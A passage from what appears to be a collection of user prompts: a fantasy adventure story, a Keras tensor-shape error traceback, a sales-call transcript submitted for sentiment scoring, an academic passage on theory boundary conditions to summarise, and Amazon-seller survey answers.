darkness.\n\nAvatar of the person chatting\nThen Clara awoke, at camp, outside the temple. She remembered facing the dark elves. She saw Alistair, sleeping beside her. They had grown very close these last few days. Had they always been this close? Had he always had that wedding band? She hadn\'t recalled one when she and him first spent the night together. She was having bad dreams about Alistair turning into a dark elf. What could that possibly be about? Please continue the story.\n\nAs Clara sat up in her bedroll, trying to shake off the remnants of her nightmare, she couldn\'t help but feel a sense of unease. She glanced over at Alistair, who was still sleeping peacefully, his chest rising and falling in the early morning light. She couldn\'t shake the feeling that something was off about him, that there was something hidden beneath the surface that she couldn\'t quite put her finger on.\n\nShe remembered the wedding band she had seen in her dream, and she reached out tentatively to touch his hand. Sure enough, there it was - a golden ring on his finger, glinting in the sunlight. She frowned, confused. When had he gotten married? Why hadn\'t he told her?\n\nSuddenly, Alistair\'s eyes snapped open, and he sat up with a start. "Clara," he said, his voice thick with sleep. "What\'s wrong? Why are you looking at me like that?"\n\n"I... I had a nightmare," Clara said, still trying to make sense of the situation. "It was about you turning into a dark elf. It was so vivid, it felt like it was really happening."\n\nAlistair\'s face paled, and he looked away. "I... I can\'t explain it," he said, his voice barely above a whisper. "But I promise you, Clara, I would never hurt you. I would never turn into a dark elf. You have to believe me."\n\nBut Clara wasn\'t so sure. She couldn\'t shake the feeling that something was very wrong, that the dream had been trying to warn her about something. She made a decision then and there. She would have to keep a close eye on Alistair, to make sure that he didn\'t turn into the monster from her nightmare.\n\nBut for now, they had a quest to complete. They needed to retrieve the magic artifact from the ruins of the ancient temple, and they couldn\'t afford to be distracted by her fears. She pushed the thoughts to the back of her mind and focused on the task at hand, determined to see it through to the end.\n\nAs they set off into the treacherous forests and dark caves, Clara couldn\'t help but feel a sense of foreboding. She knew that she would have to face her fears eventually, but for now, she would focus on the task at hand and try to keep her doubts at bay.\n\nAvatar of the person chatting\n2 / 2Continue the story from the scene outside the temple (which occurred after the Angrim mountain), describing what happens as Clara ventures overland, eventually destined to arrive at her next trial, which is the journey to the fabled city of the gods.\n\nAs Clara and Alistair set out on their journey to the fabled city of the gods, they began to notice that something seemed off about their surroundings. The trees seemed to be twisted and distorted, and the animals they encountered were strange and frightening. Clara had a feeling of dread in her stomach, as if they were being watched by unseen eyes.\n\nAs they traveled further, they came across a group of goblins, who attacked them without warning. Clara and Alistair fought bravely, but they were vastly outnumbered. Just when they thought they were going to be overpowered, a group of dwarves appeared from the forest and joined the fight. Together, they were able to defeat the goblins and drive them off.\n\nThe dwarves introduced themselves as members of the Thunderforge clan, and thanked Clara and Alistair for their help in defending them. They invited the two of them to come with them to their stronghold, where they could rest and recover from their ordeal. Clara and Alistair agreed, and they set off together.\n\nAs they traveled with the dwarves, Clara couldn\'t shake the feeling that something was wrong with Alistair. She tried to talk to him about it, but he brushed her off and said he was fine. But Clara could see the darkness in his eyes, and she knew that something was very wrong.\n\nWhen they finally reached the stronghold of the Thunderforge clan, they were greeted warmly by the clan leader, a wise and powerful dwarf named Brondar. He offered them food and shelter, and asked them about their journey. Clara told him about their quest to reach the city of the gods, and he nodded in understanding.' -'my shapes are same as you said but this script throws big error\n\nInvalidArgumentError Traceback (most recent call last)\nCell In[150], line 1\n----> 1 metrics = model.evaluate([X\\_test, RPM\\_test], y\\_test, batch\\_size=256)\n\nFile ~\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\utils\\traceback\\_utils.py:70, in filter\\_traceback..error\\_handler(\\*args, \\*\\*kwargs)\n 67 filtered\\_tb = \\_process\\_traceback\\_frames(e.\\_\\_traceback\\_\\_)\n 68 # To get the full stack trace, call:\n 69 # `tf.debugging.disable\\_traceback\\_filtering()`\n---> 70 raise e.with\\_traceback(filtered\\_tb) from None\n 71 finally:\n 72 del filtered\\_tb\n\nFile ~\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\tensorflow\\python\\eager\\execute.py:52, in quick\\_execute(op\\_name, num\\_outputs, inputs, attrs, ctx, name)\n 50 try:\n 51 ctx.ensure\\_initialized()\n---> 52 tensors = pywrap\\_tfe.TFE\\_Py\\_Execute(ctx.\\_handle, device\\_name, op\\_name,\n 53 inputs, attrs, num\\_outputs)\n 54 except core.\\_NotOkStatusException as e:\n 55 if name is not None:\n\nInvalidArgumentError: Graph execution error:\n\nDetected at node \'mean\\_squared\\_error/SquaredDifference\' defined at (most recent call last):\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\runpy.py", line 194, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\runpy.py", line 87, in \\_run\\_code\n exec(code, run\\_globals)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\_launcher.py", line 17, in \n app.launch\\_new\\_instance()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\traitlets\\config\\application.py", line 992, in launch\\_instance\n app.start()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\kernelapp.py", line 712, in start\n self.io\\_loop.start()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\tornado\\platform\\asyncio.py", line 215, in start\n self.asyncio\\_loop.run\\_forever()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\asyncio\\base\\_events.py", line 570, in run\\_forever\n self.\\_run\\_once()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\asyncio\\base\\_events.py", line 1859, in \\_run\\_once\n handle.\\_run()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\asyncio\\events.py", line 81, in \\_run\n self.\\_context.run(self.\\_callback, \\*self.\\_args)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\kernelbase.py", line 510, in dispatch\\_queue\n await self.process\\_one()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\kernelbase.py", line 499, in process\\_one\n await dispatch(\\*args)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\kernelbase.py", line 406, in dispatch\\_shell\n await result\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\kernelbase.py", line 730, in execute\\_request\n reply\\_content = await reply\\_content\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\ipkernel.py", line 383, in do\\_execute\n res = shell.run\\_cell(\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\zmqshell.py", line 528, in run\\_cell\n return super().run\\_cell(\\*args, \\*\\*kwargs)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\interactiveshell.py", line 2940, in run\\_cell\n result = self.\\_run\\_cell(\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\interactiveshell.py", line 2995, in \\_run\\_cell\n return runner(coro)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\async\\_helpers.py", line 129, in \\_pseudo\\_sync\\_runner\n coro.send(None)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\interactiveshell.py", line 3194, in run\\_cell\\_async\n has\\_raised = await self.run\\_ast\\_nodes(code\\_ast.body, cell\\_name,\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\interactiveshell.py", line 3373, in run\\_ast\\_nodes\n if await self.run\\_code(code, result, async\\_=asy):\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\interactiveshell.py", line 3433, in run\\_code\n exec(code\\_obj, self.user\\_global\\_ns, self.user\\_ns)\n File "C:\\Users\\yp229\\AppData\\Local\\Temp\\ipykernel\\_980\\3515400628.py", line 2, in \n scores = model.evaluate([X\\_test, RPM\\_test], y\\_test, verbose=0)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\utils\\traceback\\_utils.py", line 65, in error\\_handler\n return fn(\\*args, \\*\\*kwargs)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 2040, in evaluate\n tmp\\_logs = self.test\\_function(iterator)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 1820, in test\\_function\n return step\\_function(self, iterator)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 1804, in step\\_function\n outputs = model.distribute\\_strategy.run(run\\_step, args=(data,))\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 1792, in run\\_step\n outputs = model.test\\_step(data)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 1758, in test\\_step\n self.compute\\_loss(x, y, y\\_pred, sample\\_weight)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 1082, in compute\\_loss\n return self.compiled\\_loss(\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\compile\\_utils.py", line 265, in \\_\\_call\\_\\_\n loss\\_value = loss\\_obj(y\\_t, y\\_p, sample\\_weight=sw)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\losses.py", line 152, in \\_\\_call\\_\\_\n losses = call\\_fn(y\\_true, y\\_pred)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\losses.py", line 284, in call\n return ag\\_fn(y\\_true, y\\_pred, \\*\\*self.\\_fn\\_kwargs)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\losses.py", line 1500, in mean\\_squared\\_error\n return backend.mean(tf.math.squared\\_difference(y\\_pred, y\\_true), axis=-1)\nNode: \'mean\\_squared\\_error/SquaredDifference\'\nIncompatible shapes: [256,10] vs. [256,10,10]\n [[{{node mean\\_squared\\_error/SquaredDifference}}]] [Op:\\_\\_inference\\_test\\_function\\_3744761]' -'I want you to act as my Sentiment Analysis assistant. I am going to provide you transcripts of Customer facing calls. I would like you to provide a number between 0 and 10 for how likely you think the following statements are:\n\n- The Sales Consultant was clear on the demo delivery\n- The customer had a "WOW Moment" and was impressed by something that the Sales Consultant demo\'ed. \n\nThe internal people on this call are "Silvia" and "Federico". \nThe customers are everyone else. \n\nIf you want to also provide a summary and steps for improvement, please do. \n<------>\nTRANSCRIPT:\n\nSILVIA\n\n3:50 Everyone to be involved. Keep in mind that I will be asking questions. So pull, wow, this session is for you.\n\nFEDERICO\n\n3:58 I\'m scared.\n\nSILVIA\n\n3:59 Feel free to again, ask me. Stop me. Whatever you wanna say. I\'m open together with fic to explain you everything that has to do with the platform. This is why we\'re here. Obviously, my interest is not to speak like a TV for the next 45 minutes, please be involved. Okay?\n\nSmall Talk\n\nFEDERICO\n\n4:21 Yeah. So.\n\nSILVIA\n\n4:22 I am sharing my screen right now and you can already Peter or hello?\n\nPETER\n\n4:30 Sorry, my lap had for the last 24 hours complete problem.\n\nFEDERICO\n\n4:35 Well, that\'s okay.\n\nSILVIA\n\n4:37 On time.\n\nPETER\n\n4:38 You\'re the first people I talked and communicated since two days.\n\nFEDERICO\n\n4:43 Wow. We\'re very proud of that. Thank you man.\n\nSmall Talk ends\n\nPETER\n\n4:47 Yeah.\n\nFEDERICO\n\n4:48 That\'s a sign that\'s a good sign that\'s a sign.\n\nPETER\n\n4:52 Let\'s see, let\'s see no promises on that.\n\nFEDERICO\n\n4:55 Yeah, yeah. Yeah. Okay.\n\nANDREW\n\n4:57 Okay.\n\nFEDERICO\n\n4:57 So, just, we just started recapping very briefly what we\'ve been talking about, Peter. So this is the very first, the very first view of the platform. So you are perfectly on time.\n\nLayout & Content\n\nSILVIA\n\n5:10 All…\n\nPETER\n\n5:11 Right. Good.\n\nSILVIA\n\n5:12 Okay. So Peter, what you\'re seeing as Nabil, Lisa, Andrew on my screen right now, I\'m planning on starting with the learner experience, right? And we said here that we\'ve got so many different people that will be involved in training from blue colors, also employees. We\'re thinking about different audiences. Some of them might be more technological, some might not the good thing here about that and about Docebo in general. Is that starting from the interface after they log in, the experience is going to be as easy as you want it to be. So, assuming that maybe for blue colors, we would start with this page that you see as being their homepage, what exactly do they need to do?\n\nLayout & Content ends\n\nSILVIA\n\n6:00 They need to follow on onboarding a personalized plan to start with, then step into more soft scales, right? A course catalog where they can explore some courses and go in the direction that you want them to go. This is 100 Nabil.\n\nNABILA\n\n6:17 Yes, I need to know if there is any integration between the performance appraisal results and training, how to integrate… to plan for the plan for the, and we target to have different quarters training with skills and technical training if needed.\n\nSILVIA\n\n6:46 That is a very good question. Nabilah. So you have all this in Oracle right now? Is that correct?\n\nNABILA\n\n6:55 Yes, we have or this?\n\nSILVIA\n\n7:00 Perfect. So for that part, what we are used to do and we always like to say is that we\'re obviously not gonna do what Oracle does us.\n\nIntegrations\n\nSILVIA\n\n7:10 So you mentioned very well, they\'re an integration. So we inherit the information that you\'re sending us from Oracle for the employee profiles, the everything that has to do with the person\'s profile, right? If I\'m now a solutions consultant, but I\'m aiming to become an architect in the future, right?\n\nIntegrations ends\n\nSILVIA\n\n7:33 Same thing applies for you, right? I\'m part of GB Auto. I\'m having a role right now, but I\'m planning on advancing in my career to become more senior. That is something that we do through this integration. First of all, inheriting the roles of the person and then adapting the whole learner experience starting from this very interface. So you would know that myself, Silvia, I\'m logging in, I\'m GB Auto for the first time, you know, exactly what I need to do, what is going to be needed for me for the next step. Federico might have something completely different as in, he might see the same interface, but a different plan or different catalogues that he can browse through, right?\n\nIntegrations\n\nSILVIA\n\n8:20 So we integrate adapt and provide learning in base of what is arriving from Oracle. Okay. How we\'re going to integrate? We will be talking about this in maybe a future session. I\'d like to concentrate on the platform, right? So what\'s coming in after this integration? How we can adapt the training to them, right in today session and maybe later on discuss or involve our architects for Andrew as well on this piece of integration because we know that again, we got a full Oracle system.\n\nIntegrations ends\n\nNABILA\n\n8:56 We…\n\nSILVIA\n\n8:56 Got as well. Talent fusion business for HR. So see how we can do that?\n\nNABILA\n\n9:02 Okay. In addition, I need to know is the integration between the management and the finance. I need to know the expenses for each department related to, regarding the training… I, that regarding… the department. So I need to know… the cost of the training and if there is for each employee here, we will attend or not attend this training? I need to know the total cost of the training for each employee. Okay?\n\nSILVIA\n\n9:51 May I ask you?\n\nNABILA\n\n9:52 Yes.\n\nSILVIA\n\n9:55 How, how, where do you have that sitting somewhere else in another?\n\nNABILA\n\n9:59 I think we have an initial… finance system who the finance team record for each employee by email, whatever integration between the… academy and the finance team. The all employee who attend the training per month and then record… the expense or the cost of the training for each employee per.\n\nSILVIA\n\n10:38 Yes. So if I understand what you\'re asking, I think hearing myself here… I don\'t know if it\'s just me. Okay? Thanks.\n\nPETER\n\n10:49 No, no, there\'s an equal, ongoing. Yeah, there\'s an.\n\nSILVIA\n\n10:53 I can hear myself. And then I…\n\nPETER\n\n10:55 And…\n\nSILVIA\n\n10:59 Good. So again, on the training budget side, what we can do from an LMS standpoint, is reflect that budget through additional fields that might come from different systems.\n\nPricing\n\nSILVIA\n\n11:14 As in this training is worth. I don\'t know, I\'m inventing 500 dollars. And then in reporting, you would be able to see who attended the training\'s name the course that the user is taking plus that additional field with the price or the budget on it that\'s the maximum we can do from an LMS standpoint, managing budget.\n\nIntegrations\n\nSILVIA\n\n11:39 Obviously, that\'s why I asked, right? It\'s something that is coming from another system. It could be an ERP or some place else or even a training management system, right? So we\'re talking about different systems in here. We could potentially integrate with them as well as export that information and do the ATS in a PowerBI, right?\n\nIntegrations ends\n\nSILVIA\n\n11:58 A business intelligence tool. So it really depends on how we want to move around. This is again, the maximum we can do on that additional field. And I don\'t know, nail this answers your question or if you need more information on the side?\n\nNABILA\n\n12:13 I think… if we need to stop the employee for ask for another training. If you check if he has another, the budget for this course or not… you can have this information.\n\nSILVIA\n\n12:29 We cannot, we…\n\nNABILA\n\n12:31 Cannot…\n\nSILVIA\n\n12:31 Again… functionalities.\n\nNABILA\n\n12:35 Element…\n\nSILVIA\n\n12:37 More towards the MS. And then again, the would handle.\n\nNABILA\n\n12:40 Would handle this part. I need to ask another question. If the employee asks for a training and then the approval that from his manager, he agree about this training. So it\'s okay. So you must have the workflow between for the approval, POS between each employee who asks for the training and the high level managerial level of approval.\n\nSILVIA\n\n13:11 Yes.\n\nNABILA\n\n13:12 That is a lot of.\n\nSILVIA\n\n13:14 Yes, absolutely. Yes, that\'s something that we can do in a sense that trainings into table can be free for users to subscribe, but they can also be moderated.\n\nNotifications\n\nSILVIA\n\n13:23 As in I\'m an employee, I request to participate and then somebody else, the manager, the admin, whoever you want that person to be, approves me into training. Now that approval process is not an automated system is just the yes or no, the click of a button. The checks in the back need obviously to be done.\n\nPayment Gateway\n\nSILVIA\n\n13:46 If we\'re thinking of a workflow, we can potentially do that to use our, we\'ve mentioned it very briefly, probably last time.\n\nNABILA\n\n13:55 Or…\n\nSILVIA\n\n13:55 I pass.\n\nNABILA\n\n13:56 Or…\n\nSILVIA\n\n13:57 So we have a tool that might do you check or create some workflows in the background. It\'s…\n\nNABILA\n\n14:03 Practice. Okay. Only the integration, I need also to know how to pay for external training for external training, the external training, I pay for it. If we need to have a training from external supplier vendors. So I will pay for it. So.\n\nSILVIA\n\n14:32 You mean?\n\nNABILA\n\n14:34 Maybe internal or external… for each internal employees, internal Instructor who has the ownership for the lead to the training force… internal training. Okay. Go ahead.\n\nSILVIA\n\n14:58 Let me see if I got this straight. So, I\'m an employee… there\'s a thing happening. I request it. Somebody needs to approve me afterwards or you need to create the course after I requested. How would you see this process? Can you describe me a flow? I\'m an…\n\nNABILA\n\n15:19 I don\'t I… will tell you, I will let you describe the process I need to integrate between the cost of the training course and the finance team who will pay for it after or before attend the training. Do you have any difference between internal and external training in your system?\n\nIntegrations\n\nSILVIA\n\n15:49 Right. We might have different concepts of external training. And this is what I\'m trying to clarify here in the sense that in Docebo, we are content agnostic, you can bring in content from different sources. You can organize glass room sessions, you can bring LinkedIn learning or whichever other provider as well as adding your materials, which was what I was planning to show you today and that is happy opening within LMS.\n\nIntegrations ends\n\nSILVIA\n\n16:23 That is our concept of external training content that\'s coming from the outside of the platform. You bring it in and organize it in the way that you want in your understanding. If I am interpreting this correctly, is what you\'re looking for is training that is happening outside of the platform. I don\'t know in the classroom with a trainer or something that the users see some place else that\'s not in the LMS. Is that correct?\n\nPETER\n\n16:51 See, let me jump in.\n\nNABILA\n\n16:53 Jump in.\n\nPETER\n\n16:54 Let me jump in here in.\n\nNABILA\n\n16:57 Okay.\n\nPETER\n\n16:57 Now, I hear the echo here as well. Is the…\n\nFEDERICO\n\n17:03 Yeah, it happens only when Nabil has got a micro.\n\nANDREW\n\n17:07 Okay. So.\n\nPETER\n\n17:08 Nabil, you obviously have to sources that are connected.\n\nFEDERICO\n\n17:11 No, it\'s okay. Because she\'s muted.\n\nPETER\n\n17:15 All right. Okay. This discussion about budget and prices has nothing to do on the cover of an LMS… in general. If I want to roll out as an employee of a, I can apply. And then as you described, it has to be approved by the manager or by the business unit that they have to be aware of the budget that is allocated for that training… over the year. And they can say, yes, this specific person should take the training and they can improve by click as you described.' -'Summarize this: As before, we assume an uncertain initial understanding of the BC associated with a theory (i.e.,\nperceived certainty regarding some within-range and some out-of-range contexts and uncertainty in\nbetween), as exemplarily depicted in Figure 2. We distinguish four approaches that explore BC\nfurther, contingent on the different starting points A, B, C, and D in Figure 2. Scholars can apply an\n‘‘inside-out exploration of BC’’ (see Figure 2, point A), an ‘‘outside-in exploration of BC’’ (see\nFigure 2, point B), an ‘‘exploration of BC under uncertainty’’ (see Figure 2, point C), and an\n(unplanned, emergent) ‘‘serendipitous BC exploration’’ (see Figure 2, point D). All of these\napproaches are further detailed and juxtaposed in Table 3.\nThe inside-out exploration approach considers BC from a theoretical perspective concerned with\nthe further development of the respective theory. Its goal is to explore BC as the ‘‘final phase’’ of\ntheory development, in the sense of developing an answer to the when question (Whetten, 1989). Its\ndenomination stems from the perspective of scholars who investigate the further applicability of a\ntheory in slightly different contextual conditions, departing from ‘‘known territory’’ (i.e., knowing\nthat context A is still within the range of the theory) outward to unknown territory. Thereby, scholars\nwho use the inside-out exploration are aware of the fact that the unknown territory is unknown (it is\nhence a ‘‘known unknown’’). The exploration of BC can occur as a conscious decision or can be\ntriggered by perplexity. Vis-a`-vis the other three BC-exploring approaches, the research process can\nbe characterized as a so-called tame problem (Rittel & Webber, 1973).6 This means that there is an\nexplicit problem statement (i.e., willingness to further explore BC) preceding the solution of the\nproblem and that the research process can be managed and organized as a project with clearly\ndefined phases (e.g., as a large-scale empirical investigation) and outcomes (i.e., a better under\ufffestanding of BC in the contexts adjacent to point A in Figure 2). For example, Kopelman and\nThompson (1976) purposefully sought to strengthen the cross-context applicability of expectancy\ntheory by exploring five moderator variables. Among the articles that explicitly refer to BC, the\ninside-out exploration approach seems to be the most widely applied (see Table 1).\nThe outside-in approach addresses BC exploration in the opposite manner to its conceptual\nsibling (the inside-out approach) by first focusing on a context in which the theory is clearly not\napplicable (see point B in Figure 2). The perspective of the outside-in approach is also theoretical in\nnature, and its goal is also to further explore BC. However, often another goal exists that is the\ndevelopment of new theory specific to context B (and its contextual vicinity) (see the examples in\nTable 1). Scholars who pursue this approach are aware of the lacking applicability of the theory in\nthe context to be explored. Therefore, they will refrain from falsely assuming applicability of the\nrelated literature in their own context. For example, Ketokivi and Jokinen (2006) sought to under\ufffestand why some factories opted to be unfocused in their production processes even when the extant\nliterature suggested that focused manufacturing strategies are most effective. The trigger mechanism\ncommencing the exploration of BC through this approach is best portrayed as ‘‘pursuing failure’’\n(Gray & Cooper, 2010), that is, a conscious decision to learn from the misfit between the theory and the context of interest. The research process can be characterized as a somewhat tame problem. It is\nmore wicked (Rittel & Webber, 1973) than the inside-out approach because new theory must be\ncreated, meaning that the problem statement is less clear and the research project does not follow a\nfully straightforward plan but more likely involves some feedback loops and iterations. The outside\ufffein approach is used fairly often and has facilitated some very impactful contributions (see Table 1).\nThe other two approaches are fundamentally different in that they are not directly concerned with\nexploring the BC of the respective theory. Rather, they follow different goals and borrow from the\nrespective theory (consciously or unconsciously). Theory is borrowed frequently in organizational\nresearch. For example, constructs are adopted (Suddaby, 2010), and specific findings of a theory are\nincorporated into the theorizing process elsewhere (Corley & Gioia, 2011). Our BC analysis high\ufffelights that such theory borrowing is only valid if the context to which the theory is borrowed falls\ninto its range. Contrarily, if the context falls outside the range of the theory, borrowing it would not\nbe valid. Given the frequent uncertainty surrounding a theory’s BC, scholars who consider borrow\ufffeing theory often have to deal with unexplored BC. It appears that this issue has become more\npressing over the past decades because of an increased emphasis on middle-range (i.e., relatively\nmore context-specific7\n) theorizing (Corley & Gioia, 2011; Merton, 1968; Pinder & Moore, 1979).\nSince we are unaware of any methodological research addressing this widespread problem, we will\nanalyze it in considerable detail, also drawing on two empirical illustrations. The approach labeled\nexploration of BC under uncertainty concerns theory borrowing when scholars are aware of the\nunclear range of the theory that they consider borrowing (i.e., it is a known unknown), whereas the\napproach denominated serendipitous BC exploration refers to cases where theory is borrowed\nwithout considering the BC issue (i.e., it is an unknown unknown).\nRegarding the exploration of BC under uncertainty, we assume that scholars adopt a ‘‘contex\ufffetual’’ perspective in that they have a particular interest in an empirical context (see point C in Figure\n2). The goal is to establish some form of deep understanding of the respective context (e.g., by means\nof developing middle-range theory pertaining to this context). The role of theory with uncertain BC is auxiliary only, that is, scholars want to borrow it but are uncertain if doing so is valid. We may\nassume that the exploration of its BC is a necessary task for reaching the goal; if it were different, the\nrespective theory would presumably be dropped. As our later empirical illustration will show, this\ntype of setup depicts a somewhat wicked research problem. The reason is that reliance on the\nrespective literature seems necessary, yet it can never be fully trusted. Literature pertaining to the\ntheory can only be considered in a trial-and-error mode. If all goes well, this approach results in a\nbetter understanding of context C and of the theory’s BC in the vicinity of this context. One of the\nempirical examples will illustrate this approach.\nThe final BC-exploring ‘‘approach’’ is serendipitous BC exploration. Here, we refer to cases in\nwhich scholars borrow theory with uncertain BC without considering the fact that their own context\nmay not fall into the theory’s range; thereby, they may end up exploring BC more or less by chance.\nIn other words, no initial positioning of the respective context vis-a`-vis the theory occurs (as a visual\nillustration, the respective point D in Figure 2 is not positioned within the chart but outside of it).\nInitially, literature sources on the respective theory are hence relied on naı¨vely such that its findings\nare assumed to be true irrespective of context. If the respective context lies within the range of the\ntheory (from an omniscient evaluator’s certain view on BC), then the scholars’ unawareness to BC\uffferelated issues will not have any impact, leading to valid research outcomes (whatever they are) in\nabsence of other methodological issues. The BC of the borrowed theory will hence not be explored.\nIf the respective context, however, lies outside of the theory’s range, then two things can happen:\nFirst, the investigation may end up in a dead end. Then, scholars will presumably ‘‘turn the entire\nresearch process upside down,’’ looking for anything that may have gone wrong, thereby possibly\ndirecting their attention to BC-related issues. If so, then they will explore the respective BC out of\nnecessity (same as in the previous approach). Needless to say, such a research process depicts a\nwicked problem. The outcome would then be a valid result for the originally aspired goal plus a\nclearer understanding of the BC in the vicinity of the respective context. Second, scholars may never\nnotice the inherent flaw stemming from the fact that they built on theory in an invalid (i.e., out-of\uffferange) manner. They would hence pursue as planned throughout the research process (which would\nfalsely be treated as a tame problem) and reach a result that is not (fully) valid. One of the empirical\nexamples will illustrate a situation in which we, thankfully, ended up in a dead end, thereby\ntriggering the serendipitous exploration of BC of a construct that we employed.\nIn the previous paragraph, we used the word approach with quotation marks when referring to\nserendipitous BC exploration. The reason is that this ‘‘approach’’ only happens to explore BC as an\neffect (if all goes well) but never aims for BC exploration. Scholars should consider the BC of,\nideally, all theory that they borrow. Hence, methodologists could be tempted to dismiss unawareness\nof the BC of borrowed theory on prescriptive grounds. However, since virtually no construct, causal\nrelationship, or entire theory has its BC clearly established (as per the uncertain view), we conjecture\nthat unawareness of unclear BC will often just happen in research practice as a descriptive fact.\nMoreover, given the multidimensionality of context and BC, it seems to us that no strategy can exist\nthat avoids the unawareness issue fully and certainly. By considering and illustrating this\n‘‘approach,’’ we aim to (a) sensitize researchers to at least consider the BC of the theory that they\nbuild on ex ante (thereby trying to avoid position D in Figure 2) and (b) suggest the ex post\nconsideration of BC as a ‘‘toolkit’’ for situations in which a rigorous investigation has suddenly\nended up in a dead end.' -'From PL to creating a cool listing for a properly configured ad.\n\n---\n\nI really don\'t want to go through all the "childish" questions with my budget. This demotivates me enough. Otherwise, I don\'t see any problems, I\'m going all the way.\n\n---\n\nPoor self-management and procrastination.\n\n---\n\nA bad beginning makes a bad ending. I don\'t see any difficulties.\n\n---\n\nNothing difficult, there are some hiccups, such as the electricity in Ukraine, changes in the usual way of life (I have been living in Ukraine for a year because of the war, but 900km away from home), sometimes there is a lack of motivation to work due to this situation. And two small children, I\'m a mom on maternity leave, which I have never been before.\n\n---\n\nOvercoming internal fear and doubt: what if it doesn\'t work out? What if there aren\'t enough resources? and many other "what ifs."\n\n---\n\nLack of understanding and clear procedures on how to choose a product.\n\n---\n\nFind a niche and a good product.\n\n---\n\nFind a niche and a good product.\n\n---\n\nLack of time, lack of confidence in achieving great results.\n\n---\n\nDelegation.\n\n---\n\nProduct research and adding value to the product.\n\n---\n\nI just want to start.\n\n---\n\nThe hardest part is finding a product. Since I\'m a beginner on Amazon, I have no idea where to look. There are several products, but they are in highly competitive niches. On the other hand, I know that I need to improve these products. In general, it\'s difficult to get started.\n\n---\n\nGreat product, competition, and getting to the top.\n\n---\n\nFind the right product.\n\n---\n\nRealize my dream, or rather believe in myself that I can! Find and feel the momentum. I think my difficulty is that I won\'t be able to figure it out and reach my desired goal.\n\n---\n\nScaling.\n\n---\n\nBeing in the beginning, it\'s hard for me to balance my main job with the time of searching for a product and creating a successful business on Amazon.\n\n---\n\nLanguage, I don\'t know English.\n\n---\n\nThe first thing is to believe in it, the second is that since there is no experience and practice, all subsequent steps, such as registration, product selection, making it the best, and so on.\n\n---\n\nI\'m a perfectionist. If everything is not organized in my head, I won\'t "jump into action." The hardest thing for me is not to burn out, to overcome all the scale of absolutely new information, and not to deviate halfway.\n\n---\n\nTo start.\n\n---\n\nDetails.\n\n---\n\n1. Find and improve a successful product. 2. Creating this product. 3. Legal difficulties with my passport (opening foreign accounts, etc.)\n\n---\n\nI live in LA, and life here is very expensive, so I need to work more than 9 hours. But since the training starts at 7:00 am our time, I can work on my business all morning. And I hope that after the training, when I have additional income, I will have enough time to expand my business. Well, it was difficult for me to find the right information...\n\n---\n\nKeep up the pace (turnover/sales/prioritizing tasks) and further growth.\n\n---\n\nLack of budget for making mistakes.\n\n---\n\nLack of knowledge and starting capital.\n\n---\n\nChoosing the right product.\n\n---\n\nChoosing a product to sell.\n\n---\n\nChoosing a product.\n\n---\n\nFind a product.\n\n---\n\nResearch, keyword work, PPC, review collection.\n\n---\n\nFind the right product.\n\n---\n\nFor me, as a beginner seller, almost all questions and tricks are relevant: successful product selection, account registration, branding, supplier selection, product shipping to Amazon, listing, advertising, sales, to avoid mistakes (not wasting time and money) and successfully launch a profitable business on Amazon with $10K - $100K net profit per month.\n\n---\n\nFor me, as a beginner seller, all questions are relevant: successful product selection, account registration, branding, supplier selection, product shipping to Amazon, listing, advertising, sales, to 